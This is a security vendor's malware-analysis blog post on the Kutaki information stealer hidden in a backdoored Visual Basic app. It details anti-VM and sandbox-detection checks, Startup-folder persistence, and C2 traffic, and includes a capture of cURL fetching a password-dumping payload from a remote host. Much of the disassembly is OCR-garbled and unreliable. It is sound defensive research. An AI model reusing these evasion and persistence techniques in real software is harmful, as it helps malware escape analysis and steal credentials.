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CISO Summary

It's a case of hiding in plain sight. Cofense™ recently found a phishing campaign that hides
the Kutaki malware in a legitimate application to bypass email gateways and harvest users’
credentials.

A data stealer, Kutaki uses old-school techniques to detect sandboxes and debugging, but
don’t underestimate it—Kutaki works quite well against unhardened virtual machines and
other analysis devices. By backdooring a legitimate application, it can fool unsophisticated
detection methodologies.

Learn how Cofense Intelligence™ keeps IT teams ahead of the latest phishing and malware
threats like this new campaign.

Full Details

Cofense Intelligence recently uncovered a small-scale phishing campaign delivering a
sample of the Kutaki information stealer and keylogger that was hidden inside a legitimate
Visual Basic application and delivered as an OLE package within a weaponized Office
document.
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Kutaki uses a series of anti-virtualization and anti-analysis techniques that were ostensibly
copied verbatim from a series of blogs dating back to 2010-2011. Kutaki — a data stealer — is
capable of harvesting Input data directly from keyboards, mice, clipboards, microphones, and
screens (in the form of screenshots). The campaign observed by Cofense Intelligence also
saw Kutaki retrieve a copy of SecurityXploded’s BrowserPasswordDump utility by dropping
and executing a copy of cURL for Windows.

Despite the evasion techniques being antiquated, they are somewhat successful against
causal observation and analysis.

Hiding in Plain Sight: Obfuscation

This variant of Kutaki uses the source code as a Visual Basic training app to hide its
malicious content. By backdooring an ostensibly simple training app, it attempts to exploit
any potential whitelisting or simply bypass static signatures.

Figure 1 shows the backdoored application as a project breakdown. Figure 2 is a closer view
of the procedures.
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Figure 1: the project breakdown

L -ﬁ Code

[ frmcustomer
[ frmtabledet

» [ Frvwaiterdet
[ frmassets
[ fimbilling
O
[0 frmlLogin
[ chee

v [T saameneac

s ] dewan
[ ende
] son
[0 c1SOMScript
[0 coringBuilder
O khi
[ femdishdet
[ frmdailyexpense
[ frmewaiter
[ Frmsdish
[ frmscustomer
[ Mdimain
[ frmabout

» ] frndebwaiter
[ frndelcust
D frmdeldish
[0 frmdekable
[ frdelassets
[ Bodulel
[ frmcashier
[0 datrepbin
O frmSplagh
[0 terabap

i am

Figure 2: The code sections (procedures) present in the project.

Even for non-programmers, there are certain procedure names that seem to be wildly
misplaced. Indeed, we can see a close (but not quite complete) correlation between the
Forms — which are GUI elements — and the procedures that power them. Figure 3
demonstrates this mapping.
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Figure 3: Form elements relative to their procedure (code) counterparts.

Final proof that this application has been backdoored can be found by inspecting the
procedures. Figure 4 shows legitimate procedures compared with those that have been

injected.
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v ] ff

w frmLogin

Figure 4: “ff” and “frmLogin” are original procedures. “chee”, “saamneao”, “dewani” and
‘ende” are injected.

Not only do we see a discrepancy between the naming conventions — most legitimate
procedures here begin with ‘frm’ — but we can also intuit the random names assigned to the
injected procedures. Further, the functions — those found within the injected procedures —

£ fetch_Click_453C10
Command?2_Click 452C60
Command5_Click_452D30
send_st_Click_4549B0
waittmr_Timer_455580
altafbhai_Timer_452B10
Form_Load 4543B0

W W Y

- § Form_Load_4560B0
F cmdcancel_Click_455ED0
£ omdOKx_Click_455F60

v-E

chee

% Proc_7_0.456120

%y Proc_7_1_4568A0
%% Proc_7_2_458500

w saamneaoc
' +Qy Proc_8_0_458720
p dewani

- Proc_9_0_45A990
=% Proc_9_1_45B7F0

v ende
+% Proc_10_0 458910

%% Proc_10_1_45BA10
% Proc_10_2_45C300
%% Proc_10_3_45C420
- Proc_10_4 45D150

% Proc_10_5_45D5F0

% Proc_10_6 450340
(% Proc_10_7_45DBED

have unresolvable names, so they’re simply assigned one by the decompiler.

Diving into some of this injected code yields even more obfuscation. Strings within the binary
are reversed and decoded using the rtcStrReverse function. Figure 5 shows an example of

such obfuscation.
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push

call

call
push
call

Figure 5: 3 instances of ricStrReverse being used to deobfuscate stored strings.

Similar string obfuscation techniques can be found masking suspicious API calls. Figure 6

ebp

ebp, esp FT
esp, B

offset _ vbaExceptHandler
eax, large fs:8

eax

large fs:8, esp

esp, G4h

ebx

esl

edi

[ebptvar_8], esp
[ebptvar_4], offset dword_482778
ebx, ds:rtcStrReverse
edi, edi

offset off_41AS7C
[ebptvar_14], edi
[ebptvar_18], edi
[ebpevar_1C], edi
[ebptvar_28], edi
[ebptvar_24], edi
[ebptvar_28], edi
[ebptvar_2C], edi
[ebpsvar_38], edi
[ebptvar_34], edi
[ebptvar_44], edi
[ebptvar 54], edi
[ebptvar_5C], edi

ebx ; rtcStrReverse
esi, ds:  vbaStrMove
edx, eax

ecx, [ebp+var 14)

esi ; _ vbaStrMove

offset aMuneKsidSecivr ; "munE\\ksiD\\secivres\\18@tesSlortnol\ \ME"
se ekslosec 5 .

ehx 1 rtcStrReverse

shows the obfuscation of Sleep and ShellExecuteA strings.
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https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-sleep
https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea

04 akill
S84 pKermell2

i dword 418650
off_a1869C

Ltewct A0S BEES

Ctewt 041060
et 0 18604
et R 1B6R4

Jhewt: 92418684 sub 418684
bt OB41BGES

L text | SB41E6ES
Ltect BB 1EGES
Bk ;BB 1AAEA

tewt 91 BERD

et 0RE1BERF

. text : 9B41BEEF

L tawt:B24186BF loc_41B68F:
L tewt  9D41BEEF

Ltewt DS1ERCS

st rBS1BE0S
et s i 18ECH

Lttt 01BECE sub_41BGB4
LEext B3418608

tewt 98418608

.texct :@eHiBE04 aShellnIDL1
tewh S04 1BGEQ dword 4186EQ

£F4 off_a186F8

bt :0041870¢
tewt: GB41ETHC |

diy 'n'T'.',,-.'!

db 9,8

align 4

db "kernelll" .@

align lah
dd . "eels", 'p°
dd effset akerneldl

dd offset Mrd_ﬂ-luﬁ&aml
dd 4dadah, 45187ah, I dup(d)

Pproc near ; CODE

WREF: _0_Pri_obj_Infé_EventBuS+1C6kp

0 Pri obj Infs Evenmt@xS+5CLip ..

MREF: sub 41B6B4&TH

[ 5 ecax, dword 4E5147H
ar eax, eax
z short loc_41888F
J= A
3 CODE
push offset off_s1B69C
mo eax, offset DIlFunctionCall
call eax | D11FunctionCall
fimp L0
endp
align lah
dd BLh

db “shell¥2.dl1° @

dd [l C1ehs', CexEl®, ‘eruc’, A
3 | R

dd effset aShell3anll
dd offset dunrd__ﬂ-lﬂ;am
dd apeadh, 48147Ch, 2 dup(@)

Figure 6: Sleep and ShellExecuteA strings.

These strings are part of a small struct used by DIIFunctionCall — a method by which Visual
Basic applications can retrieve the addresses of functions from specific DLLs. The struct

looks something like this:

typedef struct _DIIFunctionCallDataStruct {

void * IpLibName;
void * IpExportName;

} DIIFunctionCallDataStruct;

We can see how this structure maps to what we see in the disassembly in figure 6. All calls
to DLLFunctionCall are wrapped in identical snippets, as demonstrated in Figure 7.
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il e =

_wrapper_Sleep proc near

mov eax, dword 481478
or eax, eax
jz short loc_41B6BF
1
_ Y
=] ) =
jmp eax
loc_41BEBF:

push offset loc_41869C

call eax ; DllFunctionCall
jmp eax
_wrapper_Sleep endp

| mow eax, offset DllFunctionCall

Figure 7: a typical wrapper for calls to DIIFunctionCall.

After careful analysis, we find that 18 high-value API calls are obfuscated in this manner.

Figure 8 details these.

Sleep

| shellExecuteA
GetWindowsDirectoryA
GetComputerNameA
GetKeyState
GetForegroundWindow

/| Module32First

f | GetWindowsDirectoryA_0
GetCurrentProcessld
RegOpenKeyExA
RegQueryValueExA

£ | RegCloseKey
rtiMoveMemory

SIS

Figure 8: De-obfuscated API calls used by Kutaki to perform some of its malicious activity.

dext
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Anti-Virtualization

Kutaki employs some basic checks and comparisons to identify whether it is executing within

a virtualized environment. The first of these involves reading the

HKLM\System\CurrentControlSet\Services\Disk\Enum registry key and comparing the
returned string against a list of “undesirable” strings. Figure 9 details the read of this key.

push
call
[mow
lea
call
mov
lea
push
push
push
lea
MmO
call
lea
push
push
call
push
push
call
mow
call

offset aMuneKsidSecivr |-

ebx ; rtcStrReverse

edx, eax
ecx, [ebp+var_3@]
esi ; vhaStriMove

edx, [ebp+var_3@]

eax, [ebp+var_18]

Eax

28819h

edi

ecx, [ebp+var_28]
[ebp+var_38], edi

esi ; _ vhaStrMove
ecx, [ebpivar_2C)

cax

ecx

ds:_ vbaStrToAnsi

eax

Beggaedzh
_wrapper_RegOpenkKeyExA
[ebptvar_5C], eax

ds:_  vbaSetSystemError

£ mam

Figure 9: Kutaki reads disk metadata from the registry.

This registry key contains information about the disks present on the machine. The first disk
is stored in a value named “0”, the second in a value named “1” and so on. In the instance of
this analysis VM, the value 0 contains the data observed in figure 10.

Mame Type Data
2B {Default) REG_SZ [walue not set)
EBo REG_5Z SCSNDiskBeVen VBOXE&Prod HARDDISE
3 Count REG_DWORD (haDOO00001 (1)
3 Nextinstance REG_DWORD C0000D00N (1)
Edit String *
Walus nama:
0 |
Value data
SCENDisk AN EAERPod_HARDDISE
Cance!

Figure 10: Example data from the Disks\Enum registry key.
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The highlighted text shows that the disk belongs to a VirtualBox VM. Figures 11 and 12 show
two different string comparisons, attempting to identify different types of virtual machines
present. Figure 13 is all the strings Kutaki will compare against.

push
push
call
mov
lea
call
push
call
xor
cmp
setz
neg
mov
lea
call

cmp

w

J£

eax

offset aLautriv ; "*LAUTRIV*"
ebx ; rtcStrReverse

EdKJ eax

ecx, [ebp+var_28]

esi ; _ vbaStrMove

eax

ds: vbaStrLike
ecx, ecx

ax, @FFFFh

cl

ecx

[ebp+var 58], ecx

ecx, [ebp+var_28]

ds: vbaFreeStr

word ptr [ebp+var_58], di
short loc_4674A4

Figure 11: Check if the registry value contains “VIRTUAL” anywhere within the string.
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https://www.virtualbox.org/

PIE

loc_4674C1:

mov ecx, [ebp+var_24]

push ecx

push offset aXobv 3 "*X0BV*"
call ebx ; rtcStrReverse

mov edx, eax

lea ecx, [ebp+var_28]

call esi ; _ vbaStrMove

push eax

call ds: vbaStrLike

xor edx, edx

cmp ax, @FFFFh
setz dl

neg edx
lea ecx, [ebp+var_28]
mov esl, edx

call ds: _vbaFreeStr
cmp si, di &
short loc_4674FC

Figure 12: Check if the registry value contains “VBOX” anywhere in the string.

Jtext  SDd1ASES aevi

Jtewt: BA41A584 text “UTF-16LE", “Wb0/=" .8

Ltext B4 LASEE l.l:l.p1 Lah

text: BN4LASHD aM_B:

L Eaxt 004 LASH) text “UTF-16LE", "N",@

Jtext:@G414554 aMunelsidSecive: ; DATA NREF vl VM Enum Disks+E9ia
Text 1A text “UTF-160E°, ‘munE\ksiDisecivres\lMteSlortnol\METSYS 0
SERE M LASES dd 12k

Jtext @B4LASES mlawtrivi 1} DATA MAEF; antd v _Enum Disks+1E94a
Stext BBl 1ASEE text “UTE-18LE°, "SLAUTRIV®".8

et 1B LASPL dd eCh

Jtext:BE41AGSY aMobv: ; DATA MAREF: anti WM Enum Disks+24540
_tewt ! 904 1AGEY text “UTF-16LE", “*X08v*'.@

wat DO LAGE align Lok

text  ME41AG10 dd 16k

Jtext:@e414614 alldildeibs: ; DATA MREF: sub_ 467570 2834

Text M4 LAS14 text “UTF-18LE®, "11d.1ldeibs*, @

< ewt ol LA dd 18k

Stexti@B4146530 alldPlehghbd: ; DATA MAEF: sub 46757831840

L text 04 LAR T text “UTF-18LE", "1lld.plehghd’ @

JRext:DO414548 afl:

. text 1 SB41A64E text “UTF-16LE", "R",@

Tant B4 LAGST aliodsrevinerruc: i DATA NREF: sul A67578+3FRig

et B LAGAL text “UTF-16LE", 'nolsrevVimerrul‘\swodniW\tfoserciM\erawtfos’ @
. text : DB4 LAGAD text “UTF-16LE", *.°,0

Tewt @A lAGAS aA]S22STON24ETE: ; DATA MREF: sub 467570+5Mddo

< et ; D Lk text TUTF-16LE™, “41622-5599248-713-TE467 ", @

Jtewt 198414504 text “UTF-16LE", *.°.8

CEewtB0414600 »B1SIITIATTINAL, ; DATA WAFF: sub 4675T@SCHLo

L text @4 LABDE tent “UTF-L6LE", “@1532-7307713-446-78467",90

Jtext:@adlaTes text “UTF-16LE", ".".,@

CtEx ! BG41ATE MBSPII4E0ITEIRL: : DATA NAEF: sub 46758174

T P NS LA text “UTF-16LE", "@5932-4603761-846-47255",0

text : MLATIC text “UTF-16LE", 8,9

et idRAlATAR mPtthi ; DATA MAEF: sub d68010+{lic e
et M LATAD text “UTF-18LE", "ptth",8
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Figure 13: Anti-virtualization strings.

The string comparison seen in figure 12 would match the data found in the registry value
displayed in Figure 10. Despite the match, Kutaki doesn’t immediately exit, rather it
continues with other virtualization checks. Only after all checks are completed will it
determine whether execution should continue. Figure 14 shows the execution flow of this
concept. The specifics of the results checker are detailed later.

call
push
call
moy
lea
call
call
lea
push
call
lea
call
push

jmp

Anti_WM Enum Disks
offset aPtth
ds:rtcStrlReverse
edx, eax

ecx, [ebp+var_3C]
esi ; _ vbastrMove
prod_id_sandboxie_check
edx, [ebp+var 5C]
edx
_chedk_aAnti_analysis
ecx, [ebpsvar SC]
ds:_vbaFresVar
offset loc_46815D
short loc_468133

!

& )

=
loc_468133:
mo esi, ds: vbaFreeStr
lea ecx, [ebp+var_18]
call esi ; _ vbaFreeStr
lea ecx, [ebp+var_1C]
call esi ; _ wvbaFreeStr
lea ecx, [ebptvar_3@]
call esi ; _ whaFreeSt
lea ecx, [ebp+var_34]
call esi ; _ vbaFreeStr
lea ecx, [ebp+var_38]
call esi _vhaFreeStr
lea ecx, [ebpsvar_3C]
call esi ; _ whaFreeStr
lea ecx; [ebp+var_48]
call esi ; _ wvbaFreeStr

retn

Figure 14: Anti-analysis/virtualization chain.

To supplement the disk checks, Kutaki attempts to determine whether specific modules,
which belong to sandboxes and debugging utilities, have been injected into its address
space. It achieves this by using a combination of CreateToolhelp32Snapshot, Module32First
and Module32Next. These APIs take a snapshot of the running process (including heap,
modules, etc.), find the first module, and iterate over subsequent modules mapped to the
process, respectively. Figure 15 shows Kutaki setting up the snapshots and retrieving a

pointer to the first module.
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https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
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TRRRRRARRILELLS

AN
B =
=
gy -

TEEEEEYE

= c -

I—-ﬁ-ﬂ -
=TT e

call

Lea
lea
push
push
push

eall
push
push
call
call
Lea

push
push
push
call

[ebpsvar 18], ebx
[ebptvar_ASs], ebx
[ebp+war_&SC], el
[ebpivar ABD], ebu

[ebpvar &84], ebx
[ebptvar_ASS], ebx
[ebpvar_&ABC], e
[-hp+v1rwA?r], ebx
[-hgtflr_ﬁﬂc], ey
[ebpvar_ASC), ebu
[ebpevar_AaC], ebx
[ebpsvar ABC], ebx

[ebp+uvnr ACC], ebx
[ebpsthizProcessID], ebx
[ebptwnr_aDs], ebo

dsr_ vbafixstrlomstruct
_warpper_GetCurrentProcessID
esi, dsi_ vbhaSetSystembrror
[ebpéthiiProcessID], eax

esl ; _ vbaSetSystes=Error

ecx, [ebpithilProcessID]

(144 i thiZProcessID
& ; duFlags

_warpper_CreateToslhelp3linapibhot
[ebptvar AD2], eax

e ;| _ vhaSetSystesError
edi, [ebpevar_ild]

edx, [ebpruSize]

eax, [ebpévar FFC]

edx

eax

offset asc_81957C ; © °
[ebp+lpbufier], edi
[ebp+usize], 510h

ds:__ vhaRecUniTasnsi

Eax

edi
_wrapper_Moduled2First
eil ; _ vhatetSystemBrror

ecx; [ebpivar_FEC]

edx, [ebptusize]

[15]

edx

offset asc_s1957C ; °

ds: whaRBecAnslTolnd -
esi, ds:_ vbaStriove Q

wdi, dsirtcStrileverse

Figure 15: Kutaki setting up a module-identification loop.

Kutaki checks for the existence of sbiedll.dll and dbghelp.dil. These modules belong to
Sandboxie and Microsoft, respectively. Figure 16 shows the de-obfuscation and comparison

routine for dbghelp.dll.
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https://www.sandboxie.com/SBIE_DLL_API
https://docs.microsoft.com/en-us/windows/desktop/debug/debug-help-library

lea
push
puzh
call
may
lea
call
Lea
lea
lea
puih
puzh
E
may
call
wy
léa
push
push
push
gall
push
call
oy
lea
push
lea
puzh
Bush
lea
puth
puth
oy
o
wa
call
push
lea
push
call
lea
-
call
lea
lew
push
lea
puth
puzh
push
call
bt
cnp
iz

Log_46782C:

ean, [ebpear a1n]
£l
1ah

ds: SuStrF lust
win, Tax

ecH, [ebpiver A5C)
esd v itrficue
edu, [ebpivar ABC|
sax, [abpivar ATC]

e, [ebperar A5C)
rdx
BN
[ebpever A84], #ga

[ebpsvar_sac], 4aash

diireclownLaiaiia
ec, [ebpivar_a5C)
e, [sbpevas A1E]
(14
edn
T
d3: _ vEaLjst® lagur
offset sildlehghd

sl | reciteReveras

[ebpsvar_&84], El;
eax, [ebpivar ATC]

pew, [ebpivar 285C)
LI

BN

wdu, [ebpivar A5C]
ebm

wdx

febpsvar_sac], 8
[ebpavar_afa], sba

[ebpevar_alC), B092

dii_vbal
enn

wax, [sbpewar ACC]
e

dis v TATL
o, [ebprvar A5C]
[ebpevar_aDC], sax
dea__viafreeit
e, [ebpivas A8C]
edu, [ebpevar ATC)
eEx

eax, [ebpiesr_ASC]
ein

L1

dii_ vialfresVariist

#3p, 18
word phr [#bgeuar
loc_s6T680

A0C],

Figure 16: Windows Debug DLL de-obfuscation and string comparison.

All the comparison results are stored in a data structure, which is later checked by the

_check_anti_analysis routine.

In a final check to ensure it is not being observed, Kutaki once again reads a registry key —
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion — this time checking
for the existence of some very specific ProductID values within the CurrentVersion hive.

Figure 17 shows this function.
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s =

push
call
Ligsiy
lea
call
mov
lea
push
push
push
lea
MmO
call
lea
push
push
call
push
push
call
L=
call
mov
lea
mow
lea
push
lea
push
push
push
call
mow
add
cmp
jnz

offset aMoisrevtnerruc ; °

edi ; rtcStrReverse
edx, eax

ecx, [ebpevar_AS4]

esi ; vbastriove

edx, [ebptvar As4]
eax, [ebptvar_l4]

Eax

iFh

ebx

ecx, [ebptvar ASC]
[ebptvar_as4], ebx

esi ; vbasStriove
ecx, [=bptvar AG@]

Bax

eCx

ds:__ vbaStrTedAnsi

eax

80090002hH
_wrapper_RegOpenKeyExA
[ebp+th32ProcessID], eax
ds: vbaSetSysteaError
edx, [ebpéthIZProcessID]
eax, [ebpivar_A54]
[ebp+var_sA4@], edx
ecx, [ebp+var A5E]

Bax

edn, [ebptvar ASC]

eLx

edx

3

ds: vbaFree5triist
eax, [ebp+var_Asa]
esp, lah

eax, ebx

loc_467BE2

Figure 17: Opening the registry key to facilitate value comparisons.

Kutaki attempts to find a value with the name “ProductID”. If it finds one key with that value, it

will loop through three string comparisons, attempting to identify three sandbox platforms.
Some pseudocode to roughly describe this process could be:

p_id = RegQueryValueExA(“Product|D”)

if (p_id)){

if (p_id == 76487-337-8429955-22614’) {

return “Anubis”

}

elif (p_id == ‘76487-644-3177037-23510’) {

return “CWSandbox”

}
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elif (p_id == ‘55274-640-2673064-23950’) {

return “JoeSandbox”

else {

return None

Figure 18 shows this nested loop as it exists with Kutaki.
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Figure 18: Looping through checks for various sandboxes.

Once all of the checks have been processed, Kutaki parses the results to determine if its
main loop should finish or continue executing. The check procedure parses every result for a
non-zero “return code” (i.e. something was detected) and, if it such a return code is found,
the main loop exits. Figure 19 shows an example of these checks.
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] =
loc_467CDF:
moy esl, ds:_ vbaVarCmpEq
lea ecx, [ebptvar 74]
neg Eax
mo [ebp-&Ch], ax
lea edx, [ebp-34h]
push 1% ]
lea eax, [ebp-&4h]
push edx
lea ecx, [ebp-44h]
push eax
push ecx
oV dword ptr [ebp-74h], 8Bh
mov dword ptr [ebp-5Ch], 1
mov dword ptr [ebp-64h], B@ezh
call esi ; _ wvbaVarCmpEqg
WOV edi, ds: vbaVarand
lea edx, [ebp+var_54]
push Eax
push edx
call edi ;: _ wbaVarand
OV ebx, ds: vbaBoolVarhull
push eax
call ebx ; _ wbaBoolVarhull
lea ecx, [ebp-74h]
mov [ebp-7Eh], eax
call ds:_ vbaFreevar
cmp word ptr [ebp-78h], ©
jz short loc_467041

Figure 19: Parsing the results of one of the anti-analysis checks.

Behavior

Once Kutaki has determined it is not being monitored, it will proceed with its primary purpose
of preparing the machine for data-theft. During this process, Kutaki extracts an image from
its resources, drops it to the user’s temp directory and launches it with
ShellExecuteA(“cmd.exe /c C:\Users\admin\AppData\Local\Temp\images1.png”). This
displays a decoy image to fool the user into believing the OLE package they clicked on was
simply an image. Figure 20 is the precise image dropped to disk and displayed to the user.
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Figure 20: Decoy image launched by Kutaki.

The document is an invoice template; clearly the actors deploying this put very little effort into
this decoy document, as a quick Google search shows it to be the second image hit using
the search term “tax details to invoice”. Indeed, this is the exact image used by the attackers:
hxxp://batayneh[.]Jme/invoice-with-bank-details-template/invoice-with-bank-details-template-
blank-tax-luxury/

After displaying the document, Kutaki checks its current executable name against the
hardcoded string “hyuder” and, if it does not match, proceeds to drop a copy of itself, with the
new name, to

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\hyuder.exe

Figure 21 shows this check in a debugger. If a new process is launched, the parent process
will sit idle without exiting.
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Figure 21: Kutaki comparing its current name to the desired.

Figure 22 shows Kutaki building the file path to which it will drop a copy of itself. By dropping

to the startup folder, Kutaki achieves persistence.

Figure 22: Kutaki builds out the string it will use to drop a copy of itself and achieve

persistence.
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Kutaki executes the dropped code and proceeds to execute its primary malicious
functionality. Note: some readers will no doubt question whether simply renaming the
executable “hyuder.exe” will prevent it from dropping a copy of itself. This is correct; Kutaki
will execute directly without dropping anything further, if it is running with an approved name.
The rest of the code is somewhat uninteresting, mostly because almost all the malicious
behavior occurs outside of the binary itself.

Before proceeding further, Kutaki will check in with its C2 server, announcing the new
infection. Figure 22 is some example traffic observed during analysis.

Wireshark - Follow HTTP Stream (tcp.stream eq 1) - dump-89d45698e Ga58. .

POST Skera/keradx.php HTTPRS1.1

Accept: image/gif, image/jpeq, image/pipeq, application/x-ms
application, application/xamlsxml, application/x-ms-xbap, */*
AccEpl-Language: en-US

Content-Type: applicationsx-we-form-urlencoded
Accept-Encoding: gzip, deflate

User-agent: Morillas4.8 (compatible; MSIE 7.8; wWindows NT 6.2;
WOWhd; Tridents/7.8; .NET4.8C; .MET4.BE; .NET CLR 2.8.58727; .NET CLR
3.9.30729; .WET CLR 3.5.38723)

Host: babaobadf.club

Content-Length: 38

Connection: Keep-Alive

Cache-Control: no-cache

py=1T2A92E&nate=newikunt=dusr=1lalad&lgo=HTTPF/1.1 484 Nol Found
Date: Mon, 87 Jan 2019 11:84:29 GHT

Sarver: ‘u.FIICT‘-i‘.'

KEegp-Alive: timéoul=3, max=188

Connection: Kesp-Alive

Transfer -Encoding: chunked

Content-Type: text/ htmnl; charser=UTF-8

chtml><heads=

ctitle>404 Mot Found</titles

</ head><bady>

chi>Mot Found</hi»

zp>The requested URL was not found on this server.</p>
cp=Additionally, a 484 Not Found

errar was encountered while trying to use an ErrorDocument to handle
the reguest.</p>

=l

<address>Apache/2.08.63 Server on Port BB</address>
</bady=</html>

i obent phifsl, § sevwer phifel 7 ownil

Entire conversation (1,087 bytes) = Show and save data as ASCI -
Find: | Find fyext |
@Help Filter Out This Stream Print Save oS, Back K Cloge

Figure 23: Kutaki’'s C2 server is offline.

Kutaki also comes bundled with a copy of cURL — a Linux app ported to Windows which
allows command line access to internet resources. It uses cURL to retrieve a payload from a
remote host, although quite why it does this is unclear — it has the capability to contact
remote servers as demonstrated by its initial attempt to contact its C2 server. Regardless,
the use of cURL is by design, as the host from which it attempts to download a further
payload refuses connections unless the User Agent is set to one referencing cURL. Figure
23 documents the connections made by cURL to the remote host, retrieving a secondary
payload.
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wireshark - Fallow HTTP Stream (tcp-stream eq 2) - dump-89d45598e6658

GET /FF/fom2. &éxe HTTP/ 1.1 =
Host: janawe.bid

User-agent! curls7.47.1

Accepi: */°

HTTPS1.1 298 DK

Date: Mon, 87 Jam 2818 11:084:18 GMT

Server: Apache

Last-Modified: Tue, 11 Dec 2918 21:39:38 GMT
Accept-Ranges: bytes

Content-Length: 1848576

Content-Type: application/x-msdownload

R R
« 1oL This program cannot be run in DOS mode.

| PR——— | e s N |

T ctevmd ptfiL, 1 sarrver pRefEl T ouom),
Entire conversation (1,048 k&) i Show and save data as  ASCH i

Find: | Fiind Mext |

@Help Filber Out This Stream Prink SaveE 8a... Back X Clode

Figure 24: Kutaki uses cURL to download and execute a secondary payload. Note the User-
Agent string “curl/7.47.1”.

The payload retrieved, in this case, was a copy of SecurityXploded’s
BrowserPasswordDump. This utility is designed to retrieve passwords from the vaults of the
following browsers:

o Firefox

e Google Chrome

e Microsoft Edge

¢ Internet Explorer

o UC Browser

e Torch Browser

e Chrome Canary/SXS Cool
* Novo Browser

o Opera Browser
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e Apple Safari

Because the C2 server was offline, we were unable to monitor the exfiltration of stolen data
facilitated by the BrowserPasswordDump utility.

Old Does Not Mean Ineffective

Kutaki uses some old-school, well-documented techniques to detect sandboxes and
debugging. These are still effective against unhardened virtual machines and other analysis
devices. Additionally, by backdooring a legitimate application, unsophisticated detection
methodologies could well be fooled.

To learn more about recent malware trends, read our 2018 year-end review.

Appendix
Sources

https://www.alienvault.com/blogs/labs-research/your-malware-shall-not-fool-us-with-those-
anti-analysis-tricks

https://www.fireeye.com/blog/threat-research/2011/01/the-dead-giveaways-of-vm-aware-
malware.html

ProductID Checks
76487-337-8429955-22614 // Anubis Sandbox
76487-644-3177037-23510 // CW Sandbox

55274-640-2673064-23950 // Joe Sandbox

AntiVM Strings

“VIRTUAL*
*VBOX*
“VMW
sbiedll.dll
Dbghelp.dli
loCs

hxxp://babaobadf[.]club/kera/kera3x[.]Jphp
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https://cofense.com/
https://www.alienvault.com/blogs/labs-research/your-malware-shall-not-fool-us-with-those-anti-analysis-tricks
https://www.alienvault.com/blogs/labs-research/your-malware-shall-not-fool-us-with-those-anti-analysis-tricks

hxxp://janawe][.]bid/FF/om2[.]exe

Artefacts
89D45698E66587279460F77BA19AE456
AB9A799E2773F6D9D24DOECF58DBD9E3
70bf5dd41548e37550882eba858c84fa
8edaa7cd4adec20a48fe4127f3cf2656d

All third-party trademarks referenced by Cofense whether in logo form, name form or product
form, or otherwise, remain the property of their respective holders, and use of these
trademarks in no way indicates any relationship between Cofense and the holders of the
trademarks.

Don't miss out on any of our phishing updates! Subscribe to our blog.
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